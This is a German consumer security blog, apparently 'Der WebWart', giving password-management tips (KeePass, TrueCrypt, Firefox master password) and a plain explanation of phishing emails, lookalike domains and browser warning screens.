Der erste und einfachste Weg ist das eigene Passwort auf die  Passwortsicherheit zu überprüfen. Mittlerweile gibt es schon einige  Programme, wie den Password Strength Checker oder Passworttester, mit denen  man sein eigenes Passwort anhand ausgewählter Kriterien überprüfen  lassen kann. Die Ergebnisse fallen allerdings sehr unterschiedlich aus  und Password Strength Checker ist um einiges anspruchsvoller, was für dieses Programm spricht. Generell sollte man sich als allgemeine Faustregeln merken:

Hohe Varianz und Zeichenanzahl in Kombination. Sprich: Ziffern, Buchstaben und Sonderzeichen in willkürlicher Reihenfolge. Zahlenfolgen wie 123ABC oder sogar Namen sind absolut tabu, weil sie die perfekte Angriffsfläche bieten. Noch besser ist es, wenn man seine Passwörter in regelmäßigen Abständen ändert und eventuell voreingestellte Passwörter sofort ändert, was insbesondere bei CMS eine erhebliche Rolle spielt.

Ebenfalls sehr nützlich, gerade am eigenen Arbeitsplatz in der Firma, ist den Computer via [Strg]+[Alt]+[Ent] zu sperren, sofern man zuvor ein Benutzerkonto plus Passwort für sein System angelegt hat. Diese Funktion kann auch durch [Windows-Taste]+[L] am schnellsten direkt aufgerufen werden. Damit entgeht man neugierigen Blicken und langen Fingern der Kollegen.

Desweiteren bietet der Browser Firefox via Extras ->Einstellungen ->Sicherheit die Möglichkeit ein Master-Passwort zu setzen, womit die Passwortdaten erst richtig verschlüsselt und nicht auf der Festplatte gespeichert werden.

Hier noch einmal die wichtigsten Anweisungen zum sicheren Passwortmanagement im Überblick:

  • Variantenreiche Zeichen und Zahlsymbole in Kombination bei der Passworterstellung.
  • Überprüfung der Passwortsicherheit zum Beispiel durch Password Strength Checker oder Passworttester.
  • Regelmäßige Änderung der eigenen Passwörter.
  • Sofortige Änderung voreingestellter Passwörter, insbesondere gilt das für CMS.
  • Setzen eines Master-Passworts im Mozilla Firefox (Extra – Einstellungen – Sicherheit).
  • Sperren des PC am Arbeitsplatz mittels [Strg]+[Alt]+[Ent] oder [Windows-Taste]+[L].
    (Voraussetzung dafür ist natürlich ein Benutzerkonto in Windows!)

Folgende Programme helfen euch dabei eure Passwörter zu schützen und verwalten:

  • Keepass zum effizienten Passwortmanagement einsetzen.
  • Verzeichnisse, in denen heikle Daten wie Passwörter im Klartext stehen, extra verschlüsseln, z. B. mit TrueCrypt.

KeePass bietet im Bereich des Passwortmanagements eine sehr gute Ergänzung, zu der umständlichen Tatsache, sich mehrere Passwörter merken zu müssen. Der große Vorteil: Ihr könnt alle eure Passwörter in einer  Datenbank abspeichern und durch ein einziges Master-Passwort schützen lassen. Die hierfür verwendeten AES- oder auch Twofish-Algorithmen gelten als äußerst sicher. Zudem gibt es einen Session-Key der die  Zwischenspeicherung im Cache absichert, was bedeutet, dass eure Passwörter hier nicht mehr von Viren ausgelesen werden können.

Zusätzlich ist die Verwendung einer Schlüsseldatei (Key-File) möglich, die über KeePass erzeugt und zum Beispiel auf einem USB-Stick gespeichert wird. Ganz sicher fährt man dann, wenn man nur noch den Zugriff über diese Schlüsseldatei zulässt. Dabei sollte man sich aber bewusst sein, dass bei Verlust nicht ohne weiteres auf die Datenbank und damit alle Kennwörter zugegriffen werden kann.

Ein ergänzendes Datenverschlüsselungsprogramm zur oben genannten Liste stellt TrueCrypt dar. Gerade wenn man Programme wie z. B. Filezilla oder diverse andere FTP-Clients verwendet, dass die Passwörter im Klartext auf der Festplatte speichert, sollte man TrueCrypt benutzen. Die Software basiert wie KeePass auf den Algorithmen AES- und Twofisch, sowie zusätzlich Serpent und ist insbesondere zur Verschlüsselung von Verzeichnissen auf Festplatten, Wechseldatenträgern und der Windows-Partition geeignet. Das besondere Sicherheitsmerkmal ist, Spuren der verschlüsselten Dateien so gut wie unsichtbar werden zu lassen.

Dazu existieren zwei Funktionen: Die Container (Volumes), die keinen eigenen Kopfdatenbereich besitzen und sich aus einer zufälligen Bitfolge zusammensetzen. Die Versteckten Container (Hidden Volumes), die sich innerhalb des freien Speicherplatzes des verschlüsselten Containers befinden. Bei einem möglichen Angriff kann so nur das Passwort des Containers und damit nicht des eigentlich verschlüsselten, versteckten Containers aufgespürt werden. Allerdings können im Zuge der Verschlüsselung Spuren hinterlassen werden, was ein mögliches Auffinden des wahren Verstecks  der Daten nicht ausschließt.

Fazit: Eure Keys solltet Ihr immer redundant (an verschiedenen Orten) und damit sicher aufbewahren.

Phishing – Rote Warnschilder im Internet | Teil 1Kommentare (2)

Was ist überhaupt Phishing?

Grundgedanke des Phishing (Kunstwort aus: password harvesting fishing = Angeln mit Ködern nach Passwörtern, Quelle Wikipedia) ist es, sich persönliche und vertrauenswürdige Daten des Besuchers bzw. Kunden durch einen gezielten Angriff anzueignen. Dabei unterscheidet man derzeit zwei mögliche Angriffsformen:

Phishing-E-Mail:

Der Betroffene bekommt eine auf den ersten Blick seriös wirkende E-Mail zugeschickt, die sich allerdings als fälschlich erweist. Neben der meist schnell identifizierbaren schlechten Grammatik, ist ebenfalls ein eingebauter Link ein untrügliches Zeichen für einen Betrugsversuch. Dieser entpuppt sich oberflächlich als richtiger Hyperlink z. B. zu der eigenen Bankseite. Der Haken sitzt aber im HTML-Code des Links, der hier auf eine bösartige Webseite verlinkt, welche dann die Eingabe persönlicher Kundendaten verlangt.
Beispiel:

<a href="böseSeite.tld">guteSeite.tld</a>

Webspace-Phishing:

Dieses Verfahren erfolgt zumeist im Anschluss einer Phishing-E-Mail, kann aber auch direkt erfolgen, wenn eine Webseite direkt betroffen ist. Durch eine große Ähnlichkeit der URL in der Bezeichnung, zum Beispiel, http://www.verraeter.de und http://www.verräter.de, kann durch einfaches Ersetzen des Umlautes „ä“ durch „ae“, die ursprünglich als seriös vermutete Adresse zu einer bösartigen mit dem bekannten Formular zur Dateneingabe führen.

Die gängigen Browser Opera, Firefox, Safari und Google Chrome erkennen durch eine sich ständig aktualisierende schwarze Liste (Blacklist) die Merkmale von Phishing-Angriffen durch spezifische URL-Links oder gefälschte Domain-Verweise. Hier ist in den Einstellungen für Datenschutz und Sicherheit die Phishing- und Malwareerkennung standardmäßig aktiviert. Typisches Erkennungsmerkmal für den User sind die sogenannten „Roten Schilder“, die vor möglichen Phishing-Attacken bzw. Betrugsversuchen warnen.

Hierbei werden im Anschluss Informationen zum Phishing gegeben oder man hat die Möglichkeit die Seite zu verlassen. Was in der Vergangenheit im Internet Explorer 6 als Anti-Phishing Add-on verfügbar war, ist bei den späteren Versionen bereits integriert. In den neueren Versionen gibt es auch eine rote Warnmeldung – Als Betrugsversuch gemeldete Webseite!, die wie im Firefox auch auf einen Betrugsversuch durch Phishing hinweist und warnt, keine Finanzdaten preiszugeben. Weitere Erklärungen erfolgen allerdings meist nur auf Englisch.

Als Betrusversuch gemeldete Webseite!

Die Webseite auf http://böseDomain.com wurde als Betrugsversuch
gemeldet und gemäß ihrer Sicherheitseinstellungen blockiert

Mit Betrugsseiten versuchen  Kriminelle Sie dazu zu bringen, persönliche oder finanzielle Daten  preiszugeben.Dabei ahmen sie in betrügerischer Absicht Webseiten oder  E-Mails nach, denen Sie eventuell vertrauen. Falls Sie hier persönliche  Daten eingeben, müssen Sie mit Identitätsdiebstahl oder sonstigem Betrug  rechnen.

Wenn Ihr euch nicht sicher seid, vielleicht schon Daten eingetragen habt und den Internet-Explorer als Browser nutzt, solltet Ihr wie folgt vorgehen:

  • Ändert die Kennwörter bzw. PIN Eurer Onlinekonten und sperrt diese Konten.
  • Meldet den Betrugsfall am besten Eurer Bank bzw.  Eurem Finanzberater.
  • Erstattet bei der Polizei vor Ort Anzeige.

Neben den oben genannten Browsern sind ebenfalls lokale Virenschutzprogramme, wie Avira, G-Data oder Norton auf dem Vormarsch und ohnehin von großer Bedeutung für den Privat-PC.

Was kann ich als User gegen Phishing tun?

Neben dem Schutz, den die oben genannten, aktualisierten Browser bieten, gilt es seine eigene Antvirensoftware auf dem neuesten Stand zu halten und Scantools, wie beispielsweise Spybot zu verwenden, die nach schadhafter Spy- und Malware suchen. Beim Abrufen der eigenen E-Mails im Internet, z. B. via Web.de oder GMX werden unseriöse Mails meist als Spam mittels eines Filters markiert, auch wenn es sich zwangsläufig gar nicht um Spam handelt. Microsoft Outlook bietet hier mittels einer integrierten Filtersymbolleiste eine in der Praxis gute Alternative an, die Phishing-E-Mails konsequent aufstöbert. Wenn Ihr eine betrügerische Webseite zum Beispiel über den Internet Explorer melden möchtet, geht im Menü Extras auf Phishingfilter und klickt auf Diese Webseite melden (iE7) und ExtrasSmartScreen-FilterUnsichere Webseite melden im iE8. Im Firefox findet ihr diese Möglichkeit ebenfalls unter Hilfe – Betrugsversuch melden.

Im Folgenden eine Auswahl der gängigsten Browser und ihre Reaktion auf eine Phishing-Attacke:

Phishing Meldung Google ChromePhishing Meldung FirefoxPhishing Meldung Internet ExplorerPhishing Meldung OperaPhishing Meldung Apple Safari

Fortsetzung demnächst mit: Malware – Rote Warnschilder im Internet | Teil 2

John Wart’s AnsageKommentar hinterlassen

Willkommen auf dem Blog von „Der WebWart“. Ihr kennt bestimmt den Spruch: „Vertrauen ist gut, Kontrolle ist besser!“ Leider wird dieser Tage das Vertrauen der User in der „Grauzone“ des Internets in vielfältiger Weise missbraucht und ausgenutzt. Vertrauliche Informationen, persönliche Daten oder einfach nur eine Webseite können zu leichten Angriffszielen werden, selbst wenn Ihr meint, umfangreiche Vorsichtsmaßnahmen getroffen zu haben.

Dabei sollte das Medium „Internet“ doch gerade hohe Sicherheitsstandards erfüllen, um reibungslos damit arbeiten zu können. Ich helfe euch die Kontrolle zu behalten, euren Webspace sicherer zu machen und einen scharfen Blick für „das Böse“ zu entwickeln. Hierzu erläutere ich Euch an ausgewählten Beispielen, was in Einzelfällen zu tun ist, wie man unnötigen Ärgernissen vorbeugen kann und anschließend auf der sichereren Seite steht, denn…

Mich interessiert’s!

Euer John Wart